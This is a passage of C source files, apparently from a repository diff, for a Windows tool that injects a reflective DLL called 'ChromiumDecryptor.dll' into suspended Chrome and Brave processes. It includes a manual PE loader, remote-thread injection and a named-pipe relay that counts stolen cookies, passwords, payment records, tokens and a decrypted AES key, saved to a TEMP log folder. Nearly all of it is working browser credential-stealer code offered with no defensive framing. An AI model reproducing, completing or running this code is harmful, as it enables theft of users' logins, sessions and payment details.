break;
}
}
if (!fnNtFlushInstructionCache)
return 0;
PIMAGE_NT_HEADERS pOldNtHeaders = pNtHeaders_current;
ULONG_PTR uiNewImageBase = (ULONG_PTR)fnVirtualAlloc(NULL, pOldNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!uiNewImageBase)
return 0;
PBYTE pSourceBytes = (PBYTE)uiDllBase;
PBYTE pDestinationBytes = (PBYTE)uiNewImageBase;
DWORD dwBytesToCopy = pOldNtHeaders->OptionalHeader.SizeOfHeaders;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pOldNtHeaders->OptionalHeader + pOldNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < pOldNtHeaders->FileHeader.NumberOfSections; i++)
{
pSourceBytes = (PBYTE)(uiDllBase + pSectionHeader[i].PointerToRawData);
pDestinationBytes = (PBYTE)(uiNewImageBase + pSectionHeader[i].VirtualAddress);
dwBytesToCopy = pSectionHeader[i].SizeOfRawData;
while (dwBytesToCopy--)
{
*pDestinationBytes++ = *pSourceBytes++;
}
}
ULONG_PTR uiDelta = uiNewImageBase - pOldNtHeaders->OptionalHeader.ImageBase;
PIMAGE_DATA_DIRECTORY pRelocationData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (pRelocationData->Size > 0 && uiDelta != 0)
{
PIMAGE_BASE_RELOCATION pRelocBlock = (PIMAGE_BASE_RELOCATION)(uiNewImageBase + pRelocationData->VirtualAddress);
while (pRelocBlock->VirtualAddress)
{
DWORD dwEntryCount = (pRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PIMAGE_RELOC_ENTRY pRelocEntry = (PIMAGE_RELOC_ENTRY)((ULONG_PTR)pRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD k = 0; k < dwEntryCount; k++)
{
#if defined(_M_X64) || defined(_M_ARM64)
if (pRelocEntry[k].type == IMAGE_REL_BASED_DIR64)
{
*(ULONG_PTR *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += uiDelta;
}
#else
if (pRelocEntry[k].type == IMAGE_REL_BASED_HIGHLOW)
{
*(DWORD *)(uiNewImageBase + pRelocBlock->VirtualAddress + pRelocEntry[k].offset) += (DWORD)uiDelta;
}
#endif
}
pRelocBlock = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pRelocBlock + pRelocBlock->SizeOfBlock);
}
}
PIMAGE_DATA_DIRECTORY pImportData = &pOldNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (pImportData->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(uiNewImageBase + pImportData->VirtualAddress);
while (pImportDesc->Name)
{
char *sModuleName = (char *)(uiNewImageBase + pImportDesc->Name);
HINSTANCE hModule = fnLoadLibraryA(sModuleName);
if (hModule)
{
PIMAGE_THUNK_DATA pOriginalFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->OriginalFirstThunk);
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(uiNewImageBase + pImportDesc->FirstThunk);
if (!pOriginalFirstThunk)
pOriginalFirstThunk = pFirstThunk;
while (pOriginalFirstThunk->u1.AddressOfData)
{
FARPROC pfnImportedFunc;
if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal))
{
pfnImportedFunc = fnGetProcAddress(hModule, (LPCSTR)(pOriginalFirstThunk->u1.Ordinal & 0xFFFF));
}
else
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiNewImageBase + pOriginalFirstThunk->u1.AddressOfData);
pfnImportedFunc = fnGetProcAddress(hModule, pImportByName->Name);
}
pFirstThunk->u1.Function = (ULONG_PTR)pfnImportedFunc;
pOriginalFirstThunk++;
pFirstThunk++;
}
}
pImportDesc++;
}
}
DLLMAIN_FN fnDllEntry = (DLLMAIN_FN)(uiNewImageBase + pOldNtHeaders->OptionalHeader.AddressOfEntryPoint);
fnNtFlushInstructionCache((HANDLE)-1, NULL, 0);
fnDllEntry((HINSTANCE)uiNewImageBase, DLL_PROCESS_ATTACH, lpLoaderParameter);
return uiNewImageBase;
}
+122
View File
@@ -0,0 +1,122 @@
#include "utils.h"
#include "buffer.h"
#include <Windows.h>
#include <ShlObj.h>
#include <Wincrypt.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "Crypt32.lib")
bool get_local_appdata_path(wchar_t* path, size_t len) {
PWSTR folder_path = NULL;
HRESULT hr = SHGetKnownFolderPath(&FOLDERID_LocalAppData, 0, NULL, &folder_path);
if (SUCCEEDED(hr)) {
wcsncpy_s(path, len, folder_path, _TRUNCATE);
CoTaskMemFree(folder_path);
return true;
}
return false;
}
ByteBuffer* base64_decode(const char* input) {
if (!input) return NULL;
DWORD size = 0;
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, NULL, &size, NULL, NULL)) {
return NULL;
}
ByteBuffer* buf = buffer_create(size);
if (!buf) return NULL;
if (!CryptStringToBinaryA(input, 0, CRYPT_STRING_BASE64, buf->data, &size, NULL, NULL)) {
buffer_destroy(buf);
return NULL;
}
buf->size = size;
return buf;
}
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len) {
if (!bytes || !out || out_len < len * 2 + 1) return;
for (size_t i = 0; i < len; i++) {
sprintf_s(out + i * 2, out_len - i * 2, "%02x", bytes[i]);
}
}
char* escape_json_string(const char* str) {
if (!str) return NULL;
size_t len = strlen(str);
size_t escaped_len = len * 6 + 1;
char* escaped = malloc(escaped_len);
if (!escaped) return NULL;
size_t j = 0;
for (size_t i = 0; i < len && j < escaped_len - 6; i++) {
switch (str[i]) {
case '"': escaped[j++] = '\\'; escaped[j++] = '"'; break;
case '\\': escaped[j++] = '\\'; escaped[j++] = '\\'; break;
case '\b': escaped[j++] = '\\'; escaped[j++] = 'b'; break;
case '\f': escaped[j++] = '\\'; escaped[j++] = 'f'; break;
case '\n': escaped[j++] = '\\'; escaped[j++] = 'n'; break;
case '\r': escaped[j++] = '\\'; escaped[j++] = 'r'; break;
case '\t': escaped[j++] = '\\'; escaped[j++] = 't'; break;
default:
if (str[i] >= 0 && str[i] <= 0x1f) {
j += sprintf_s(escaped + j, escaped_len - j, "\\u%04x", (int)str[i]);
}
else {
escaped[j++] = str[i];
}
}
}
escaped[j] = '\0';
return escaped;
}
bool read_file_content(const wchar_t* path, char** content, size_t* size) {
if (!path || !content || !size) return false;
FILE* f = NULL;
if (_wfopen_s(&f, path, L"rb") != 0 || !f) return false;
fseek(f, 0, SEEK_END);
long file_size = ftell(f);
fseek(f, 0, SEEK_SET);
if (file_size < 0) {
fclose(f);
return false;
}
*content = malloc(file_size + 1);
if (!*content) {
fclose(f);
return false;
}
size_t read_size = fread(*content, 1, file_size, f);
fclose(f);
(*content)[read_size] = '\0';
*size = read_size;
return true;
}
bool write_file_content(const wchar_t* path, const char* content, size_t size) {
if (!path || !content) return false;
FILE* f = NULL;
if (_wfopen_s(&f, path, L"wb") != 0 || !f) return false;
size_t written = fwrite(content, 1, size, f);
fclose(f);
return written == size;
}
+24
View File
@@ -0,0 +1,24 @@
#ifndef BROWSER_RESOLVER_H
#define BROWSER_RESOLVER_H
#include "types.h"
typedef struct {
wchar_t browser_id[64];
wchar_t exe_path[MAX_PATH_LEN];
} BrowserInfo;
typedef struct {
BrowserInfo* items;
size_t count;
size_t capacity;
} BrowserList;
BrowserList* browser_list_create(void);
void browser_list_destroy(BrowserList* list);
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
BrowserList* browser_find_all_installed(void);
#endif // BROWSER_RESOLVER_H
+8
View File
@@ -0,0 +1,8 @@
#ifndef INJECTION_MANAGER_H
#define INJECTION_MANAGER_H
#include "types.h"
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
#endif // INJECTION_MANAGER_H
+12
View File
@@ -0,0 +1,12 @@
#ifndef PIPE_COMMUNICATOR_H
#define PIPE_COMMUNICATOR_H
#include "types.h"
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
void pipe_destroy(PipeCommunicator* comm);
bool pipe_wait_for_client(PipeCommunicator* comm);
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
bool pipe_relay_messages(PipeCommunicator* comm);
#endif // PIPE_COMMUNICATOR_H
+11
View File
@@ -0,0 +1,11 @@
#ifndef TARGET_PROCESS_H
#define TARGET_PROCESS_H
#include "types.h"
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
void target_terminate(TargetProcess* target);
void target_cleanup(TargetProcess* target);
bool target_kill_network_service(const wchar_t* process_name);
#endif // TARGET_PROCESS_H
+49
View File
@@ -0,0 +1,49 @@
#ifndef INJECTOR_TYPES_H
#define INJECTOR_TYPES_H
#include <Windows.h>
#include <stdbool.h>
#include <stdint.h>
#define MAX_PATH_LEN 512
#define DLL_COMPLETION_TIMEOUT_MS 60000
#define PIPE_TIMEOUT_MS 10000
typedef struct {
bool verbose;
bool extract_fingerprint;
wchar_t output_path[MAX_PATH_LEN];
wchar_t browser_type[64];
wchar_t browser_process_name[64];
wchar_t browser_exe_path[MAX_PATH_LEN];
char browser_display_name[64];
} InjectorConfig;
typedef struct {
int total_cookies;
int total_passwords;
int total_payments;
int total_tokens;
int profile_count;
char aes_key[256];
} ExtractionStats;
typedef struct {
HANDLE process;
HANDLE thread;
DWORD pid;
USHORT arch;
} TargetProcess;
typedef struct {
HANDLE pipe;
wchar_t pipe_name[256];
ExtractionStats stats;
} PipeCommunicator;
typedef struct {
uint8_t* data;
size_t size;
} DllPayload;
#endif // INJECTOR_TYPES_H
+10
View File
@@ -0,0 +1,10 @@
#ifndef INJECTOR_UTILS_H
#define INJECTOR_UTILS_H
#include "types.h"
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
bool create_directory_recursive(const wchar_t* path);
bool file_exists(const wchar_t* path);
#endif // INJECTOR_UTILS_H
+124
View File
@@ -0,0 +1,124 @@
#include "browser_resolver.h"
#include "utils.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
BrowserList* browser_list_create(void) {
BrowserList* list = malloc(sizeof(BrowserList));
if (!list) return NULL;
list->items = malloc(sizeof(BrowserInfo) * 4);
if (!list->items) {
free(list);
return NULL;
}
list->count = 0;
list->capacity = 4;
return list;
}
void browser_list_destroy(BrowserList* list) {
if (!list) return;
free(list->items);
free(list);
}
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path) {
if (!list || !id || !path) return false;
if (list->count >= list->capacity) {
size_t new_cap = list->capacity * 2;
BrowserInfo* new_items = realloc(list->items, sizeof(BrowserInfo) * new_cap);
if (!new_items) return false;
list->items = new_items;
list->capacity = new_cap;
}
wcsncpy_s(list->items[list->count].browser_id, 64, id, _TRUNCATE);
wcsncpy_s(list->items[list->count].exe_path, MAX_PATH_LEN, path, _TRUNCATE);
list->count++;
return true;
}
static bool query_registry_value(HKEY root, const wchar_t* subkey, wchar_t* out, size_t len) {
wchar_t buffer[MAX_PATH];
DWORD buffer_size = sizeof(buffer);
LSTATUS status = RegGetValueW(root, subkey, NULL,
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
NULL, buffer, &buffer_size);
if (status == ERROR_SUCCESS) {
wcsncpy_s(out, len, buffer, _TRUNCATE);
return true;
}
if (status == ERROR_MORE_DATA) {
wchar_t* long_buffer = malloc(buffer_size);
if (!long_buffer) return false;
status = RegGetValueW(root, subkey, NULL,
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
NULL, long_buffer, &buffer_size);
if (status == ERROR_SUCCESS) {
wcsncpy_s(out, len, long_buffer, _TRUNCATE);
free(long_buffer);
return true;
}
free(long_buffer);
}
return false;
}
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len) {
if (!exe_name || !out_path) return false;
wchar_t subkey[512];
const struct {
HKEY root;
const wchar_t* base_path;
} locations[] = {
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
{ HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" }
};
for (size_t i = 0; i < sizeof(locations) / sizeof(locations[0]); i++) {
swprintf_s(subkey, 512, L"%s%s", locations[i].base_path, exe_name);
if (query_registry_value(locations[i].root, subkey, out_path, len)) {
if (file_exists(out_path)) {
return true;
}
}
}
return false;
}
BrowserList* browser_find_all_installed(void) {
BrowserList* list = browser_list_create();
if (!list) return NULL;
const struct {
const wchar_t* id;
const wchar_t* exe;
} targets[] = {
{ L"chrome", L"chrome.exe" },
{ L"brave", L"brave.exe" }
};
for (size_t i = 0; i < sizeof(targets) / sizeof(targets[0]); i++) {
wchar_t path[MAX_PATH_LEN];
if (browser_resolve_path(targets[i].exe, path, MAX_PATH_LEN)) {
browser_list_add(list, targets[i].id, path);
}
}
return list;
}
+162
View File
@@ -0,0 +1,162 @@
#include "injection_manager.h"
#include <string.h>
static bool load_dll_payload(DllPayload* payload) {
if (!payload) return false;
HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) return false;
DWORD file_size = GetFileSize(file, NULL);
if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
CloseHandle(file);
return false;
}
payload->data = malloc(file_size);
if (!payload->data) {
CloseHandle(file);
return false;
}
DWORD bytes_read = 0;
if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
bytes_read != file_size) {
free(payload->data);
CloseHandle(file);
return false;
}
payload->size = file_size;
CloseHandle(file);
return true;
}
static void free_dll_payload(DllPayload* payload) {
if (payload && payload->data) {
free(payload->data);
payload->data = NULL;
payload->size = 0;
}
}
static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
if (rva >= section->VirtualAddress &&
rva < section->VirtualAddress + section->Misc.VirtualSize) {
return section->PointerToRawData + (rva - section->VirtualAddress);
}
}
return 0;
}
static DWORD get_reflective_loader_offset(DllPayload* payload) {
if (!payload || !payload->data) return 0;
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;
DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (export_rva == 0) return 0;
DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
if (export_offset == 0) return 0;
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);
DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);
if (!names_offset || !ordinals_offset || !functions_offset) return 0;
DWORD* names = (DWORD*)(payload->data + names_offset);
WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
DWORD* functions = (DWORD*)(payload->data + functions_offset);
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
if (!name_offset) continue;
char* func_name = (char*)(payload->data + name_offset);
if (strcmp(func_name, "ReflectiveLoader") == 0) {
DWORD func_rva = functions[ordinals[i]];
DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
return func_offset;
}
}
return 0;
}
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
if (!target || !target->process || !pipe_name) return false;
DllPayload payload = { 0 };
if (!load_dll_payload(&payload)) return false;
DWORD rdi_offset = get_reflective_loader_offset(&payload);
if (rdi_offset == 0) {
free_dll_payload(&payload);
return false;
}
SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
SIZE_T total_size = payload.size + pipe_name_size;
LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remote_base) {
free_dll_payload(&payload);
return false;
}
SIZE_T bytes_written = 0;
if (!WriteProcessMemory(target->process, remote_base, payload.data,
payload.size, &bytes_written) ||
bytes_written != payload.size) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
pipe_name_size, &bytes_written) ||
bytes_written != pipe_name_size) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
DWORD old_protect = 0;
if (!VirtualProtectEx(target->process, remote_base, total_size,
PAGE_EXECUTE_READ, &old_protect)) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);
HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);
free_dll_payload(&payload);
if (!remote_thread) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
return false;
}
CloseHandle(remote_thread);
return true;
}
+150
View File
@@ -0,0 +1,150 @@
#include "types.h"
#include "utils.h"
#include "browser_resolver.h"
#include "target_process.h"
#include "pipe_communicator.h"
#include "injection_manager.h"
#include <time.h>
#include <string.h>
#include <stdio.h>
static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);
if (wcscmp(browser_id, L"chrome") == 0) {
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Chrome");
}
else if (wcscmp(browser_id, L"brave") == 0) {
wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Brave");
}
else {
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Unknown");
}
}
static bool validate_config(InjectorConfig* config) {
if (!config) return false;
if (config->browser_exe_path[0] == L'\0') return false;
if (!file_exists(config->browser_exe_path)) return false;
if (!create_directory_recursive(config->output_path)) return false;
return true;
}
static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
if (!config || !stats) return false;
memset(stats, 0, sizeof(ExtractionStats));
target_kill_network_service(config->browser_process_name);
TargetProcess target = { 0 };
if (!target_create_suspended(&target, config->browser_exe_path)) {
return false;
}
wchar_t pipe_name[256];
if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
target_cleanup(&target);
return false;
}
PipeCommunicator pipe = { 0 };
if (!pipe_create(&pipe, pipe_name)) {
target_cleanup(&target);
return false;
}
if (!injection_execute(&target, pipe_name)) {
pipe_destroy(&pipe);
target_terminate(&target);
target_cleanup(&target);
return false;
}
bool success = false;
if (pipe_wait_for_client(&pipe)) {
if (pipe_send_initial_data(&pipe, config->verbose,
config->extract_fingerprint,
config->output_path)) {
success = pipe_relay_messages(&pipe);
*stats = pipe.stats;
}
}
pipe_destroy(&pipe);
target_terminate(&target);
target_cleanup(&target);
return success;
}
static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
BrowserList* browsers = browser_find_all_installed();
if (!browsers || browsers->count == 0) {
if (browsers) browser_list_destroy(browsers);
return;
}
for (size_t i = 0; i < browsers->count; i++) {
InjectorConfig config = { 0 };
config.verbose = verbose;
config.extract_fingerprint = extract_fingerprint;
wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);
init_browser_config(&config,
browsers->items[i].browser_id,
browsers->items[i].exe_path);
if (!validate_config(&config)) {
continue;
}
#ifdef _DEBUG
printf("Processing %s\n", config.browser_display_name);
#endif
ExtractionStats stats = { 0 };
bool res = run_injection_workflow(&config, &stats);
#ifdef _DEBUG
if (res) {
printf("Profiles: %d\n", stats.profile_count);
printf("Cookies: %d\n", stats.total_cookies);
printf("Passwords: %d\n", stats.total_passwords);
printf("Payments: %d\n", stats.total_payments);
printf("Tokens: %d\n", stats.total_tokens);
if (stats.aes_key[0]) {
printf("AES Key: %s\n", stats.aes_key);
}
}
else {
printf("Failed\n");
}
printf("\n");
#endif
}
browser_list_destroy(browsers);
}
int main() {
srand((unsigned int)time(NULL));
wchar_t tmp_path[MAX_PATH];
GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);
wchar_t output_path[MAX_PATH_LEN];
swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);
if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
return 1;
}
process_all_browsers(true, true, output_path);
}
+199
View File
@@ -0,0 +1,199 @@
#include "pipe_communicator.h"
#include <string.h>
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
if (!comm || !pipe_name) return false;
memset(comm, 0, sizeof(PipeCommunicator));
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
comm->pipe = CreateNamedPipeW(
pipe_name,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, NULL
);
return comm->pipe != INVALID_HANDLE_VALUE;
}
void pipe_destroy(PipeCommunicator* comm) {
if (!comm) return;
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
CloseHandle(comm->pipe);
comm->pipe = INVALID_HANDLE_VALUE;
}
}
bool pipe_wait_for_client(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
OVERLAPPED overlapped = { 0 };
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!overlapped.hEvent) return false;
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
DWORD last_error = GetLastError();
if (!connected && last_error == ERROR_IO_PENDING) {
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
CloseHandle(overlapped.hEvent);
if (wait_result != WAIT_OBJECT_0) {
CancelIo(comm->pipe);
return false;
}
}
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
CloseHandle(overlapped.hEvent);
return false;
}
else {
CloseHandle(overlapped.hEvent);
}
Sleep(200);
return true;
}
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
if (!comm || !msg) return false;
DWORD bytes_written = 0;
size_t msg_len = strlen(msg) + 1;
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
bytes_written == msg_len;
}
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
if (!comm || !output_path) return false;
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
Sleep(10);
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
Sleep(10);
char path_utf8[MAX_PATH_LEN * 3];
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
if (!pipe_write_message(comm, path_utf8)) return false;
Sleep(10);
return true;
}
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
const char* start = strstr(message, prefix);
if (!start) return 0;
start += strlen(prefix);
const char* end = strstr(start, suffix);
if (!end) end = start + strlen(start);
char num_str[32];
size_t len = end - start;
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
memcpy(num_str, start, len);
num_str[len] = '\0';
return atoi(num_str);
}
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
if (!comm || !message) return;
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
}
if (strstr(message, "Decrypted AES Key: ")) {
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
}
if (strstr(message, " cookies extracted to ")) {
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
}
if (strstr(message, " passwords extracted to ")) {
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
}
if (strstr(message, " payments extracted to ")) {
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
}
if (strstr(message, " tokens extracted to ")) {
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
}
}
bool pipe_relay_messages(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD start_time = GetTickCount();
char accumulated[8192] = { 0 };
size_t accumulated_len = 0;
char buffer[4096];
bool completed = false;
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
DWORD bytes_available = 0;
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
break;
}
if (bytes_available == 0) {
Sleep(100);
continue;
}
DWORD bytes_read = 0;
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
if (GetLastError() == ERROR_BROKEN_PIPE) break;
continue;
}
if (accumulated_len + bytes_read < sizeof(accumulated)) {
memcpy(accumulated + accumulated_len, buffer, bytes_read);
accumulated_len += bytes_read;
}
size_t pos = 0;
while (pos < accumulated_len) {
size_t msg_len = strlen(accumulated + pos);
if (msg_len == 0 || pos + msg_len >= accumulated_len)
break;
char* message = accumulated + pos;
if (strcmp(message, completion_signal) == 0) {
completed = true;
break;
}
parse_extraction_message(comm, message);
pos += msg_len + 1;
}
if (completed)
break;
if (pos > 0 && pos < accumulated_len) {
memmove(accumulated, accumulated + pos, accumulated_len - pos);
accumulated_len -= pos;
}
else if (pos >= accumulated_len) {
accumulated_len = 0;
}
}
return completed;
}
+231
View File
@@ -0,0 +1,231 @@
#include "target_process.h"
#include <winternl.h>
#include <string.h>
typedef NTSTATUS(NTAPI* NtGetNextProcess_t)(
HANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
ULONG HandleAttributes,
ULONG Flags,
PHANDLE NewProcessHandle
);
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesRead
);
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
HANDLE ProcessHandle,
NTSTATUS ExitStatus
);
typedef BOOL(WINAPI* IsWow64Process2_t)(HANDLE, USHORT*, USHORT*);
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
static bool check_architecture(TargetProcess* target) {
if (!target || !target->process) return false;
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
if (!kernel32) return false;
IsWow64Process2_t fnIsWow64Process2 =
(IsWow64Process2_t)GetProcAddress(kernel32, "IsWow64Process2");
if (!fnIsWow64Process2) {
BOOL is_wow64 = FALSE;
if (IsWow64Process(target->process, &is_wow64)) {
target->arch = is_wow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64;
return true;
}
return false;
}
USHORT process_arch = 0, native_machine = 0;
if (!fnIsWow64Process2(target->process, &process_arch, &native_machine)) {
return false;
}
target->arch = (process_arch == IMAGE_FILE_MACHINE_UNKNOWN) ?
native_machine : process_arch;
USHORT injector_arch =
#if defined(_M_X64)
IMAGE_FILE_MACHINE_AMD64;
#elif defined(_M_ARM64)
IMAGE_FILE_MACHINE_ARM64;
#elif defined(_M_IX86)
IMAGE_FILE_MACHINE_I386;
#else
IMAGE_FILE_MACHINE_UNKNOWN;
#endif
return target->arch == injector_arch;
}
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path) {
if (!target || !exe_path) return false;
memset(target, 0, sizeof(TargetProcess));
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
